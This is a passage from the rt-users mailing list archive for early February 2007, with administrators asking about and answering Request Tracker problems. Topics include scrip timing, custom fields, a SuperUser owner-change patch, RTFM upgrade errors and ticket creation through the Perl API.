would be perfect!  I'd like to set the base relative as well rather than 
set it to a specific point size, to honor the user's default font size.

Thanks for the help!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From vadud3 at gmail.com  Sat Feb  3 16:01:51 2007
From: vadud3 at gmail.com (Asif Iqbal)
Date: Sat, 3 Feb 2007 16:01:51 -0500
Subject: [rt-users] StockAnswers for RT
In-Reply-To: <051e01c70365$6c7dea40$76059812@bjh>
References: <20061108153329.GC14538@chaka.net>
	<051e01c70365$6c7dea40$76059812@bjh>
Message-ID: <a60f25fc0702031301v7038eb10k15941e379481595@mail.gmail.com>

On 11/8/06, Stephen Turner <sturner at mit.edu> wrote:
> > -----Original Message-----
> > From: rt-users-bounces at lists.bestpractical.com
> > [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf
> > Of Todd Chapman
> > Kris,
> >
> > All new extensions for RT are good. I read the documentation
> > and don't understand what this accomplishes that RTFM does
> > not. Please elaborate.
> >
> > -Todd
>
> I can't speak for Kris, but I think there's definitely a place for a
> lighter-weight solution than RTFM for providing a list of commonly used
> email messages on the reply screen. I put something rudimentary out myself a
> few months back (http://wiki.bestpractical.com/index.cgi?CannedReplies).

I like this one. It is very simple and it works almost perfect on my 3.4.x

I notice the first line of the content section has to be empty for it
to parse the whole content.

Is that normal behavior?

> Some folks may find RTFM a little complex just for this simple
> functionality.
>
> Steve
>
> ----------------------------------------
> Stephen Turner
> Senior Programmer/Analyst - Client Support Services
> MIT Information Services and Technology (IS&T)
>
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Asif Iqbal
PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu


From ruslan.zakirov at gmail.com  Sat Feb  3 16:39:39 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sun, 4 Feb 2007 00:39:39 +0300
Subject: [rt-users] Correspond Transaction Twice on Reply in Batchmode
In-Reply-To: <45C0A78D.2090308@linpro.no>
References: <45C0A78D.2090308@linpro.no>
Message-ID: <589c94400702031339h5d5c124eg2b50207678f220e@mail.gmail.com>

Try this patch

On 1/31/07, Audun Ytterdal <ay at linpro.no> wrote:
> I want to control most of my tickets with mails and I am cc'ing all
> tickets in a queue to a group of customers and a shared folder.
>
> Since mail is the main interface i've put some effort into putting some
> info in the footer of each mail
>
> <scrip>
> Description: 99LinproCorrespond
> Condition: On Correspnd
> Action: Notify Requestors, Ccs and AdminCcs
> Template: Global template: LinproMailTemplateRe
> Stage: TransactionCreate
> </scrip>
>
> <template>
> RT-Attach-Message: yes
> Subject: { "Re: [".$RT::rtname." #".$Ticket->id."] ".$Ticket->Subject}
>
> {
>  my $content = '';
>  my $transactions = $Ticket->Transactions;
>  $transactions->Limit( FIELD => 'Type', VALUE => 'Correspond' );
>
>  while (my $transaction = $transactions->Next) {
>    my $attachments = $transaction->Attachments;
>
>    while (my $message = $attachments->Next) {
>      next unless $message->ContentType =~
>               m!^(text/plain|message|text$)!i;
>
>      $content = $message->Content;
>    }
>  }
>  my $output = ($content || $Transaction->Content());
>  $output;
> }
> --
> Linproticket: {$RT::WebURL}Ticket/Display.html?id={$Ticket->id}
> [{$Ticket->Status}]
> Requestor: {$Ticket->RequestorAddresses} Created: {$Ticket->Created}
> Owner: {$Ticket->OwnerObj->EmailAddress || $Ticket->OwnerObj->Name}
> Level: {$Ticket->FirstCustomFieldValue('LinproLevel') }
> </template>
>
> This works, except the script is firing to soon so the information in
> $Ticket-Status and friends is outdated.
>
> After some googling around i found out that this works much better if I
> put "on correspondece"  in "TransactionBatch"-stage. All the information
> is now up to date and everything works as expected using the
> mailinterface to set Owner and Status and such.
>
> BUT, the script now fires twice If I use the webinterface. When I click
> on "reply" on a ticket _and_ when I submit  the reply.
>
> If the "on correspondance" is in "TransactionCreate"-Stage: Fire of the
> scrip when "update ticket" is clicked. But info is outdated
> If the "on correspondance" is in "TransactionBatche"-stage: Fire when
> clicking on "reply" and on "update ticket" so I get two mails.
>
> Is there anything I can to the get the benefit of both worlds? Is it a
> bug to start a transaction when clicking on reply before you acctually
> update it?
>
> --
> Audun
>

-- 
Best regards, Ruslan.
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From joe.casadonte at oracle.com  Sat Feb  3 22:56:57 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 03 Feb 2007 22:56:57 -0500
Subject: [rt-users] Custom fields are not being displayed (fwd)
In-Reply-To: <Pine.LNX.4.64.0702021028280.3401@bambam.inf.ed.ac.uk>
References: <Pine.LNX.4.64.0702021028280.3401@bambam.inf.ed.ac.uk>
Message-ID: <45C55989.7090104@oracle.com>

On 2/2/2007 5:29 AM, Alison Downie wrote:

>>> I am trying to upgrade from 3.0.8 to 3.6.1 and it all looked OK apart 
>>> from not being able to see any Custom Fields when I display a ticket. 
>>> Despite giving myself the appropriate rights (AdminCustomField etc) I 
>>> cannot perform

I'm seeing the same thing.  Under FireFox 2.0.0.1 the field appears; 
under IE 6.0 SP2 the field does not show up.  I'm logged in as the same 
user.  This only happens with "Combobox: select or enter one value" 
fields, though; "Enter One Value" fields show up fine.  This is RT 3.6.3

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From joe.casadonte at oracle.com  Sat Feb  3 23:05:02 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 03 Feb 2007 23:05:02 -0500
Subject: [rt-users] 3.6.3: User Custom Fields - do not appear in "About me"
	preferences
Message-ID: <45C55B6E.1030904@oracle.com>

I added a custom field (text entry) for users, the See and Modify rights 
are given to Everyone.  The field does not show up on the "About me" 
screen under Preferences for any user (even the root user).  Should it? 
  This is Rt 3.6.3 -- thanks!

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From larskman at gmail.com  Sun Feb  4 13:06:09 2007
From: larskman at gmail.com (fname lname)
Date: Sun, 4 Feb 2007 13:06:09 -0500
Subject: [rt-users] global / RT at a glance error
Message-ID: <e1b63c360702041006p5623ac91ta7eca626eb32e66b@mail.gmail.com>

Im getting an error when i go to the "global / RT at a glance error ".


error:  Can't call method "Content" on an undefined value at
/usr/share/rt3/html/Admin/Global/MyRT.html line 50.
context:
...
46:      my ( $conf, $pane ) = @_;
47:      $default_portlets->SetContent( $conf );
48:      push @actions, loc( 'Global portlet [_1] saved.', $pane );
49:      }
50:     );
51:
52:     $m->comp( '/Widgets/SelectionBox:process', %ARGS, self => $_,
nojs => 1 )
53:      for @panes;
54:
...
code stack:      /usr/share/rt3/html/Admin/Global/MyRT.html:50
/usr/share/rt3/html/Admin/autohandler:47
/usr/share/rt3/html/autohandler:292


From Lists at bowesit.com  Sun Feb  4 16:43:50 2007
From: Lists at bowesit.com (Glen L. Bowes)
Date: Sun, 4 Feb 2007 16:43:50 -0500
Subject: [rt-users] Change "RT for $rtname"
Message-ID: <C18647DD8A4C3A49AF77CCEDE58E50DC134342@SBS.bits.lan>

Is there a way to change the string 'RT' to something different so that
'RT for bestpractical.com' under the logo on the RT main page becomes
'Tracker for bestpractical.com' for example?

Thanks in advance,



Glen


From taan at cryologic.com  Sun Feb  4 18:47:33 2007
From: taan at cryologic.com (Taan Lindemans)
Date: Mon, 05 Feb 2007 10:47:33 +1100
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
References: <EF650F471C832344BEBD07E6C0E0DB3F047F3597@abz02be.eurac.edu>
	<C1BF1C58F42A304A899E2933C220F48AAE7B60@COMAIL02.digitalglobe.com>
Message-ID: <45C67095.8010101@cryologic.com>

Nick Metrowsky wrote:
> Hi Michael,
> 
>  
> 
> Thank you for your useful patch. I hope this change makes it into future 
> releases of RT, as it would be logical for Super User to have the 
> ability to change ticket owners, especially if someone has left an 
> organization and the tickets have to be moved to someone else.

It would be even nicer to have a "Give" function. Users with appropriate 
rights can already steal a ticket, assign nobody as the Owner, and then 
reassign ownership to a different user. Combining these into a single 
operation may be possible?

Taan



From Michael.Peer at eurac.edu  Mon Feb  5 02:48:39 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Mon, 5 Feb 2007 08:48:39 +0100
Subject: [rt-users] RT 3.6.3: Cannot chnage owner to another user.
In-Reply-To: <45C371CC.40802@education.ucsb.edu>
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F047F370D@abz02be.eurac.edu>

My diff is for rt-3.4.5

Michael


-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Andrew
Redman
Sent: Friday, 02 February, 2007 18:16
To: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] RT 3.6.3: Cannot chnage owner to another user.

That diff isn't quite what I got with RT 3.6.3 - Mine looks more like
this:

--- /opt/rt3/lib/RT/Ticket_Overlay.pm 2006-12-01 11:00:23.000000000
-0800
+++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm 2007-02-02
09:07:05.000000000 -0800
@@ -3016,7 +3016,8 @@
# the current user
if ( $Type ne 'Steal' and $Type ne 'Force'
and $OldOwnerObj->Id != $RT::Nobody->Id
- and $OldOwnerObj->Id != $self->CurrentUser->Id )
+ and $OldOwnerObj->Id != $self->CurrentUser->Id and 
+ !$self->CurrentUserHasRight('SuperUser'))
{
return ( 0, $self->loc("You can only take tickets that are unowned") )
if $NewOwnerObj->id == $self->CurrentUser->id;


Judging from the date on your diff, you may have not updated your local
copy of Ticket_Overlay.pm when you updated RT. Either way, thanks for
the good idea.

Cheers,
Andrew Redman
--
aredman at education.ucsb.edu
Help Desk Consultant
Gevirtz Graduate School of Education
University of California Santa Barbara
--


Peer Michael wrote:
> With this diff, superusers can reassign tickets. It works for us.
> --- /opt/rt3/lib/RT/Ticket_Overlay.pm 2005-11-14 21:43:24.000000000 
> +0100
> +++ /opt/rt3/local/lib/RT/Ticket_Overlay.pm 2007-01-30
> 17:39:31.000000000 +0100
> @@ -2959,6 +2959,7 @@
> and #If we're not stealing
> ( $self->OwnerObj->Id != $RT::Nobody->Id ) and #and the owner is set (

> $self->CurrentUser->Id ne $self->OwnerObj->Id() )
> + and (!$self->CurrentUserHasRight('SuperUser')) #and is not superuser
> ) { #and it's not us
> return ( 0,
> $self->loc(
> Michael Peer
>
> ----------------------------------------------------------------------
> --
> *From:* rt-users-bounces at lists.bestpractical.com
> [mailto:rt-users-bounces at lists.bestpractical.com] *On Behalf Of *Nick 
> Metrowsky
> *Sent:* Thursday, 01 February, 2007 23:25
> *To:* RT Users
> *Subject:* [rt-users] RT 3.6.3: Cannot chnage owner to another user.
>
> Hi Everyone,
>
> I have Super User and I cannot change the ownership of a ticket from 
> one person to another. I get an error "You can only take tickets that 
> are unowned" or "You can only reassign tickets that you own or that 
> are unowned". This is definitely a different behavior than that of RT 
> 3.4.4.
>
> Any ideas on this one?
>
> Nick
>
> *---------------------------------------------------------------------
> ------------*
>
> *Nick Metrowsky***
>
> *Consulting System Administrator***
>
> *303-684-4785 Office***
>
> *303-684-4100 Fax***
>
> *nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com>***
>
> *DigitalGlobe (r), An Imaging and Information Company*
>
> *http://www.digitalglobe.com*
>
> *---------------------------------------------------------------------
> ------------*
>
> ----------------------------------------------------------------------
> --
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com Commercial support: 
> sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>   


From joe.casadonte at oracle.com  Mon Feb  5 09:17:51 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Mon, 05 Feb 2007 09:17:51 -0500
Subject: [rt-users] Change "RT for $rtname"
In-Reply-To: <C18647DD8A4C3A49AF77CCEDE58E50DC134342@SBS.bits.lan>
References: <C18647DD8A4C3A49AF77CCEDE58E50DC134342@SBS.bits.lan>
Message-ID: <45C73C8F.6040406@oracle.com>

On 2/4/2007 4:43 PM, Glen L. Bowes wrote:
> Is there a way to change the string 'RT' to something different so that
> 'RT for bestpractical.com' under the logo on the RT main page becomes
> 'Tracker for bestpractical.com' for example?

Copy the file:

    <rt_install_dir>/html/Elements/Logo

to:

    <rt_install_dir>/local/html/Elements/Logo

and edit it.  I don't know if you need to restart the server, clear the 
cache, log out/log in or some combination of the 3 to see the change 
(I'm still working in devel mode, so I see the changes instantly).

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From torsten.brumm at googlemail.com  Mon Feb  5 09:45:03 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Mon, 5 Feb 2007 15:45:03 +0100
Subject: [rt-users] StockAnswers for RT
In-Reply-To: <4551E3FF.1010806@hmdc.harvard.edu>
References: <4551E3FF.1010806@hmdc.harvard.edu>
Message-ID: <bdbd084b0702050645j33447e6eu42376130cafca765@mail.gmail.com>

Hi Kris,

the link at the wiki is broken:

Download: <
http://people.hmdc.harvard.edu/~kmerrill/projects/StockAnswers/StockAnswers-1.0.tar.gz
>

>From the README (<
http://people.hmdc.harvard.edu/~kmerrill/projects/StockAnswers/README>) :


Both links bring me to a 404.html.....

2006/11/8, Kris Merrill <kmerrill at hmdc.harvard.edu>:
>
> StockAnswers for RT is a solution for allowing users to insert
> predefined templates into their replies. This might be useful for people
> who are looking for an alternative to RTFM.
>
> Just like its original predecessor, it requires client-side JavaScript
> to be activated.  The rewritten version has a configuration editor
> (Admin/Tools/StockAnswersConfiguration.html) and a template editor
> (Tools/StockAnswers) that can save and restore backup copies of original
> modifications.
>
> Please see the Wiki page at:
> http://wiki.bestpractical.com/index.cgi?StockAnswers
>
> Cheers!
> -K
>
> --
> Kris Merrill
> System Administrator . Harvard-MIT Data Center
> kmerrill at hmdc.harvard.edu
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From nick at freenet.ru  Mon Feb  5 08:59:31 2007
From: nick at freenet.ru (Nick Filimonov)
Date: Mon, 5 Feb 2007 16:59:31 +0300
Subject: [rt-users] Stateful TitleBoxes don't work with localized RT
Message-ID: <21045956.20070205165931@freenet.ru>

Gentlemen,

          It appears that stateful TitleBoxes don't keep their state
if user is using language other than ASCII-based one, because of using
national characters in cookie names. This results in cookies being set
garbled, and TitleBoxes remain as they were prior to doing any
rollup().
          I've made a quick fix by adding escape(name) and
unescape(c[0]) to createCookie() and loadTitleBoxStates()
respectively, and it appears to work quite well with IE and Mozilla.
It would be cool if this small change would somehow make it into the
future release of RT, as lots of people find it "annoying" to have a
rollup feature that does not work for them.

Sincerely Yours,
Nick Filimonov



From torsten.brumm at Kuehne-Nagel.com  Mon Feb  5 11:19:15 2007
From: torsten.brumm at Kuehne-Nagel.com (Ham MI-ID, Torsten Brumm)
Date: Mon, 5 Feb 2007 17:19:15 +0100
Subject: [rt-users] Error in RTFM Administration
Message-ID: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>

Hi RT Users,

i get a strange error in our RTFM installation:

Whenever I try to create an class in FAQ. I get the following error message.


Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes (Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description, LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in 'field list' 

I'm not sure whats wrong, because, the RTFM is installed and untouched since one year....argh....

Thanks

Torsten

From lmw94002 at hotmail.com  Mon Feb  5 11:26:22 2007
From: lmw94002 at hotmail.com (Mat W)
Date: Mon, 05 Feb 2007 11:26:22 -0500
Subject: [rt-users] Change "Nobody" to somebody...
Message-ID: <BAY104-F21680D3F4403EBA15D641686980@phx.gbl>

Can I change the user Nobody's name to something else?  It says in the notes 
of the user screen to not modify.  Of course, I'm not going to randomly 
change it but I wanted to know if anyone has gone through the effort to make 
a username change from Nobody to "Somebody"...

_________________________________________________________________
Valentine?s Day -- Shop for gifts that spell L-O-V-E at MSN Shopping 
http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline



From jarends at uiuc.edu  Mon Feb  5 11:58:34 2007
From: jarends at uiuc.edu (John Arends)
Date: Mon, 05 Feb 2007 10:58:34 -0600
Subject: [rt-users] Perl API
Message-ID: <45C7623A.3060200@uiuc.edu>

I'm still trying to wrap my head around the Perl API.

I can create a ticket using the following code:

my $TicketObj = new RT::Ticket( $RT::SystemUser );
$TicketObj->Create( 	Queue => 'General',
			Subject => 'Test Ticket',
			Requestor => $Requestor );

 From reading the docs, it looks like the 'body' of a ticket is not 
stored with the ticket's record.

Is there a good way to append a few lines stored in a string to a ticket 
at the time it is created?


From vadud3 at gmail.com  Mon Feb  5 12:13:02 2007
From: vadud3 at gmail.com (Asif Iqbal)
Date: Mon, 5 Feb 2007 12:13:02 -0500
Subject: [rt-users] Re: Generating static html files for crawler
In-Reply-To: <a60f25fc0701311525y39540636q2c1ebe3da4c39bb4@mail.gmail.com>
References: <a60f25fc0701311525y39540636q2c1ebe3da4c39bb4@mail.gmail.com>
Message-ID: <a60f25fc0702050913n38003112yeed1d779fd93efdf@mail.gmail.com>

On 1/31/07, Asif Iqbal <vadud3 at gmail.com> wrote:
> Hi All
>
> Currently I am using a wget/perl script to generate static html pages
> so that my crawler can index those html files. However `wget/perl'
> script is giving my mysql a jump from a usual 1% cpu to now--when I
> run the script--27% cpu.
>
> Is there a less expensive way (RT way) to generate exact static
> replica of a default ticket page--look and feel as well?
>
> I am using a `for loop' and `rt show ticket/id' to generate a list of
> valid ticket numbers and the
> createstatic.pl file takes those numbers as arguments and creates
> static html files.
>
> for example I am assuming--not sure how to get the latest ticket id
> otherwise--my latest ticket id is 400000. So I run
>
>
> for i in `seq 1 400000`; do rt show ticket/$i | grep -q id && echo $i
> ; done >> tickets
>
> Then I run the next `for loop' to generate the static html pages
>
> for t in `cat tickets ` ; do perl createstatic.pl $t >
> /var/apache/htdocs/tickets/${t}.html; sleep 2; done
>
> So now my crawler can index the static pages.
>
> Here is my createstatic.pl attached


Anyone one know a better way--RT way--to slurp a ticket html page
besides using wget or curl? I collect them as html pages for my
crawler to index them

Thanks

>
> Thanks
>
> --
> Asif Iqbal
> PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu
>
>
>


-- 
Asif Iqbal
PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu


From sturner at MIT.EDU  Mon Feb  5 12:12:46 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Mon, 05 Feb 2007 12:12:46 -0500
Subject: [rt-users] Perl API
In-Reply-To: <45C7623A.3060200@uiuc.edu>
References: <45C7623A.3060200@uiuc.edu>
Message-ID: <6.2.3.4.2.20070205120648.040524a0@po14.mit.edu>

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From jarends at uiuc.edu  Mon Feb  5 12:49:42 2007
From: jarends at uiuc.edu (John Arends)
Date: Mon, 05 Feb 2007 11:49:42 -0600
Subject: [rt-users] Perl API
In-Reply-To: <6.2.3.4.2.20070205120648.040524a0@po14.mit.edu>
References: <45C7623A.3060200@uiuc.edu>
	<6.2.3.4.2.20070205120648.040524a0@po14.mit.edu>
Message-ID: <45C76E36.8060400@uiuc.edu>

Thanks for the help. The following lets me create a ticket:

$body = MIME::Entity->new();
$body->build(
     Type => 'text/plain',
     Data => 'Test');


my $TicketObj = new RT::Ticket( $RT::SystemUser );
$TicketObj->Create(	Queue => 'General',
			Subject => 'Test Ticket2',							Requestor => $Requestor,
			MIMEObj => $body);
										

If you have any suggestions on a better way to do it, I'd love to hear 
it, but this at least works.

Stephen Turner wrote:
> At Monday 2/5/2007 11:58 AM, John Arends wrote:
>> I'm still trying to wrap my head around the Perl API.
>>
>> I can create a ticket using the following code:
>>
>> my $TicketObj = new RT::Ticket( $RT::SystemUser );
>> $TicketObj->Create(     Queue => 'General',
>>                           Subject => 'Test Ticket',
>>                           Requestor => $Requestor );
>>
>> From reading the docs, it looks like the 'body' of a ticket is not 
>> stored with the ticket's record.
>>
>> Is there a good way to append a few lines stored in a string to a 
>> ticket at the time it is created?
> 
> John,
> 
> Sounds like you're on the right track. If you look at the Ticket API ( 
> either by running perldoc against Ticket_Overlay.pm, or by looking at 
> $RTHOME/lib/RT/Ticket_Overlay.pm), you'll see that the Create method can 
> take a MIMEObj argument, which is a MIME::Entity object. If you create 
> one of these objects with your text in its body, you can pass it in to 
> the Ticket->Create method.
> 
> A good example of this is in the CreateTicket method in 
> $RTHOME/lib/RT/Interface/Web.pm
> 
> Steve


From ruslan.zakirov at gmail.com  Mon Feb  5 12:52:56 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Mon, 5 Feb 2007 20:52:56 +0300
Subject: [rt-users] Error in RTFM Administration
In-Reply-To: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
References: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
Message-ID: <589c94400702050952l6ffca81dt9801162072a8652e@mail.gmail.com>

Most probably you forgot to upgrade DB as
etc/upgrade/2.2.0RC2/schema.* files add this column to the table.

On 2/5/07, Ham MI-ID, Torsten Brumm <torsten.brumm at kuehne-nagel.com> wrote:
> Hi RT Users,
>
> i get a strange error in our RTFM installation:
>
> Whenever I try to create an class in FAQ. I get the following error message.
>
>
> Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes (Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description, LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in 'field list'
>
> I'm not sure whats wrong, because, the RTFM is installed and untouched since one year....argh....
>
> Thanks
>
> Torsten
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From torsten.brumm at googlemail.com  Mon Feb  5 12:58:27 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Mon, 5 Feb 2007 18:58:27 +0100
Subject: [rt-users] Error in RTFM Administration
In-Reply-To: <589c94400702050952l6ffca81dt9801162072a8652e@mail.gmail.com>
References: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
	<589c94400702050952l6ffca81dt9801162072a8652e@mail.gmail.com>
Message-ID: <bdbd084b0702050958w3cdd56c1w74093ed65826d75@mail.gmail.com>

Hi Ruz,

thanks, that was the pouint.

Thanks

2007/2/5, Ruslan Zakirov <ruslan.zakirov at gmail.com>:
>
> Most probably you forgot to upgrade DB as
> etc/upgrade/2.2.0RC2/schema.* files add this column to the table.
>
> On 2/5/07, Ham MI-ID, Torsten Brumm <torsten.brumm at kuehne-nagel.com>
> wrote:
> > Hi RT Users,
> >
> > i get a strange error in our RTFM installation:
> >
> > Whenever I try to create an class in FAQ. I get the following error
> message.
> >
> >
> > Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes
> (Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description,
> LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in
> 'field list'
> >
> > I'm not sure whats wrong, because, the RTFM is installed and untouched
> since one year....argh....
> >
> > Thanks
> >
> > Torsten
> >
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> >
>
>
> --
> Best regards, Ruslan.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From ruslan.zakirov at gmail.com  Mon Feb  5 15:00:19 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Mon, 5 Feb 2007 23:00:19 +0300
Subject: [rt-users] Change "Nobody" to somebody...
In-Reply-To: <BAY104-F21680D3F4403EBA15D641686980@phx.gbl>
References: <BAY104-F21680D3F4403EBA15D641686980@phx.gbl>
Message-ID: <589c94400702051200i6c761882qb1bfbdf214892e6a@mail.gmail.com>

No, you can't change it. There is should be another way to do what you want.

On 2/5/07, Mat W <lmw94002 at hotmail.com> wrote:
> Can I change the user Nobody's name to something else?  It says in the notes
> of the user screen to not modify.  Of course, I'm not going to randomly
> change it but I wanted to know if anyone has gone through the effort to make
> a username change from Nobody to "Somebody"...
>
> _________________________________________________________________
> Valentine's Day -- Shop for gifts that spell L-O-V-E at MSN Shopping
> http://shopping.msn.com/content/shp/?ctId=8323,ptnrid=37,ptnrdata=24095&tcode=wlmtagline
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From jesse at bestpractical.com  Mon Feb  5 15:45:52 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Mon, 5 Feb 2007 15:45:52 -0500
Subject: [rt-users] Error in RTFM Administration
In-Reply-To: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
References: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
Message-ID: <20070205204552.GM25008@bestpractical.com>




On Mon, Feb 05, 2007 at 05:19:15PM +0100, Ham MI-ID, Torsten Brumm wrote:
> Hi RT Users,
> 
> i get a strange error in our RTFM installation:
> 
> Whenever I try to create an class in FAQ. I get the following error message.
> 
> 
> Internal Error: Couldn't execute the query 'INSERT INTO FM_Classes (Creator, HotList, LastUpdatedBy, SortOrder, Created, Name, Description, LastUpdated) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'Unknown column 'HotList' in 'field list' 
> 
> I'm not sure whats wrong, because, the RTFM is installed and untouched since one year....argh....

Did you run all the upgrade scrips?


> 
> Thanks
> 
> Torsten

> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com

-- 


From torsten.brumm at googlemail.com  Mon Feb  5 15:53:00 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Mon, 5 Feb 2007 21:53:00 +0100
Subject: [rt-users] Error in RTFM Administration
In-Reply-To: <20070205204552.GM25008@bestpractical.com>
References: <F190CE6383B343418D7314548859FAD00CCF4F@w3hamboex11.ger.win.int.kn>
	<20070205204552.GM25008@bestpractical.com>
Message-ID: <bdbd084b0702051253yf736ee7mad752334d2dfd415@mail.gmail.com>

Hi Jesse,

nope i forgot some :-( Fixed it after a hint from Ruz.

Torsten

2007/2/5, Jesse Vincent <jesse at bestpractical.com>:
>
>
>
>
